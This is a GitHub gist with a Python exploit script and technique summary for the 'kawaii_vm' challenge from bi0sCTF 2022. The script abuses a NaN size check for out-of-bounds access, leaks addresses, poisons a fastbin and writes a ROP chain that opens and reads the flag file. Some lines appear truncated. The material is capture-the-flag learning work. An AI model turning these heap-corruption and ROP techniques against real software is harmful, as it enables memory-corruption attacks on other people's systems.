Skip to content

Instantly share code, notes, and snippets.

Last active January 25, 2023 14:12
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
Star You must be signed in to star a gist
What would you like to do?
kawaii_vm - bi0sCTF 2022
from dn3 import *
libc = ELF("lib/")
#context.log = 0
context.terminal = "tmux new-window".split()
breakpoints = '''
b init_vm
if len(sys.argv) > 1 and sys.argv[1] == "-r":
io = remote("nc 32421")
elif len(sys.argv) > 1 and sys.argv[1] == "-ng":
io = process("./kawaii_vm")
io = gdb("./kawaii_vm", gdbscript=breakpoints)
kopcodes = {
"HALT" : 0xff,
"ADD" : 0x30,
"SUB" : 0x31,
"MUL" : 0x32,
"DIV" : 0x33,
"XOR" : 0x34,
"PUSH" : 0x35,
"POP" : 0x36,
"SET" : 0x37,
"GET" : 0x38,
"MOV" : 0x39,
"SHR" : 0x3a,
"SHL" : 0x3b,
"RESET": 0x40,
"HALT" : 0xff,
"X0" : 0x0,
"X1" : 0x1,
"X2" : 0x2,
"X3" : 0x3
def assemble(code):
bytecode = ""
prev_opcode = ""
for line in code.split("\n"):
line = line.rstrip(" ").lstrip(" ")
if line.startswith("#"):
for word in line.split():
word = word.upper()
if(word not in kopcodes.keys()):
if "X" in word:
num = int(word,16)
num = int(word)
if prev_opcode == "SET" or prev_opcode == "GET" or prev_opcode == "MOV":
bytecode += p32(num)
bytecode += chr(kopcodes[word])
if not word.startswith("X"):
prev_opcode = word.upper()
return bytecode
environ_offset = 0x7cc98
libc_offset = 0x94058
fastbin_offset = 0x7aef0
elf_offset = 0x940b0
array_offset = 0x13000
fake_chunk_offset = array_offset - 4*0x100
rip_offset = 0xa8
flag_offset = 0x5020
bss_offset = 0x7800
pop_rdi = 0x23835
pop_rsi = 0x25151
pop_rdx_rbx = 0x82699
puts = libc.symbols.puts
open64 =
read =
LIBC = 0x0
EXE = 0x4
STK = 0x2
def push_val(val):
return f"""
mov x1 {val >> 32}
mul x1 x1 x0
mov x3 {val & 0xffffffff}
add x1 x1 x3
push x1
def push_addr(src,offset):
return f"""
get x1 {src+1}
get x2 {src}
mul x1 x1 x0
add x1 x1 x2
mov x3 {abs(offset)}
{"add" if offset > 0 else "sub"} x1 x1 x3
push x1
kawaii_code = f"""
# Craft fake chunk
mov x0 0x41
set x0 0x102
# Get ELF leak
get x1 {elf_offset+1}
get x2 {elf_offset}
set x1 {EXE+1}
set x2 {EXE}
# Get stack leak
get x1 {environ_offset+1}
get x2 {environ_offset}
set x1 {STK+1}
set x2 {STK}
# Get libc leak
get x1 {libc_offset+1}
get x2 {libc_offset}
set x1 {LIBC+1}
set x2 {LIBC}
# Offset to fake chunk
mov x0 0x10000
mul x0 x0 x0
mul x1 x1 x0
add x1 x1 x2
mov x3 {fake_chunk_offset}
sub x1 x1 x3
# Overwrite fastbin fd with fake chunk
set x1 {fastbin_offset}
div x1 x1 x0
set x1 {fastbin_offset+1}
# Faking fd ptr of fake chunk
mul x1 x1 x0
add x1 x1 x2
mov x3 {fake_chunk_offset}
sub x1 x1 x3
mov x3 0x1000
div x1 x1 x3
set x1 0x104
div x1 x1 x0
set x1 0x105
# Get regs allocated on fake chunk
mov x0 0x10000
mul x0 x0 x0
# Set reg->sp = rip
get x1 0x3
get x2 0x2
mov x3 {rip_offset}
sub x2 x2 x3
set x1 0x10f
set x2 0x10e
{push_addr(LIBC, puts)}
{push_addr(EXE, bss_offset)}
{push_addr(LIBC, pop_rdi)}
{push_addr(LIBC, read)}
{push_addr(LIBC, pop_rdx_rbx)}
{push_addr(EXE, bss_offset)}
{push_addr(LIBC, pop_rsi)}
{push_addr(LIBC, pop_rdi)}
{push_addr(LIBC, open64)}
{push_addr(LIBC, pop_rsi)}
{push_addr(STK, -rip_offset-8)}
{push_addr(LIBC, pop_rdi)}
bytecode = assemble(kawaii_code)
sla("> ", "y")
sla("> ", "NaN")
sa("> ", bytecode)
Copy link

k1R4 commented Jan 23, 2023

  • VM that has 4 general purpose registers, a stack pointer, program counter and an array
  • Bytecode, stack and array are on mmapped pages and register context is on a malloc chunk
  • Giving custom array size as NaN, causes checks to be passed while allowing OOB on array
  • Array is on mmapped region, so OOB r/w allows for libc and ld r/w
  • Use oob read to get libc and stack(environ) leaks
  • Create a fake chunk of size 0x40 on array
  • Overwrite fastbin fd and use reset instruction to allocate register context on array
  • Overwrite sp to point to real stack
  • use push instructions to write a ropchain to perform open,read,write

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment